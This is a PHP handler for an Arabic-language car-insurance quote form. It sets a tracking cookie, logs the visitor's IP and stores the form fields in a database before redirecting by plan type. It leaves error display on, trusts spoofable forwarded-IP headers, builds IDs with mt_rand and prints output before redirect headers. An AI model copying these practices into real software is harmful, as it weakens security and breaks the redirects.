<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// بدء الجلسة
session_start();

require_once 'db_connection.php';

// ضبط الترميز إلى utf8mb4
$conn->set_charset("utf8mb4");

// تنظيف البيانات المدخلة
function clean_input($data) {
    return htmlspecialchars(stripslashes(trim($data)));
}

// توليد UUID
function generate_uuid() {
    return sprintf(
        '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
        mt_rand(0, 0xffff), mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0x0fff) | 0x4000,
        mt_rand(0, 0x3fff) | 0x8000,
        mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
}

// الحصول على عنوان الـ IP
function get_client_ip() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

// التأكد من وجود unique_id
if (!isset($_COOKIE['unique_id'])) {
    $unique_id = generate_uuid();
    setcookie('unique_id', $unique_id, time() + (86400 * 30), "/", "", true, true);
} else {
    $unique_id = $_COOKIE['unique_id'];
}

$ip = get_client_ip();

// استلام البيانات من الفورم
$tameenType     = clean_input($_POST['tameenType']);
$startDate      = clean_input($_POST['startDate']);
$purposeUse     = clean_input($_POST['purposeUse']);
$estimatedValue = clean_input($_POST['estimatedValue']);
$manufacturing  = clean_input($_POST['manufacturing']);
$repairLocation = isset($_POST['inlineRadioOptions']) ? clean_input($_POST['inlineRadioOptions']) : '';
$captchaCode    = clean_input($_POST['captchaCode']);
$place          = clean_input($_POST['place']);   // ← جديد
$birth          = clean_input($_POST['birth']);   // ← جديد

echo "Unique ID: $unique_id<br>";
echo "IP Address: $ip<br>";

$form_name = "details clinet";

// الاستعلام بعد إضافة place + birth
$stmt = $conn->prepare("INSERT INTO details_data 
(unique_id, ip, form_name, tameenType, startDate, purposeUse, estimatedValue, manufacturing, repairLocation, captchaCode, place, birth)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");

$stmt->bind_param("ssssssssssss",
    $unique_id,
    $ip,
    $form_name,
    $tameenType,
    $startDate,
    $purposeUse,
    $estimatedValue,
    $manufacturing,
    $repairLocation,
    $captchaCode,
    $place,   // الجديد
    $birth    // الجديد
);

// تنفيذ الاستعلام
if ($stmt->execute()) {

    if ($tameenType === 'ضد الغير') {
        header('Location: ../../company.html');
    } elseif ($tameenType === 'مميز') {
        header('Location: ../../momayaz.html');
    } elseif ($tameenType === 'شامل') {
        header('Location: ../../shamel.html');
    }
    exit;

} else {
    echo "خطأ في الإدخال: " . $stmt->error;
}

$stmt->close();
$conn->close();

?>
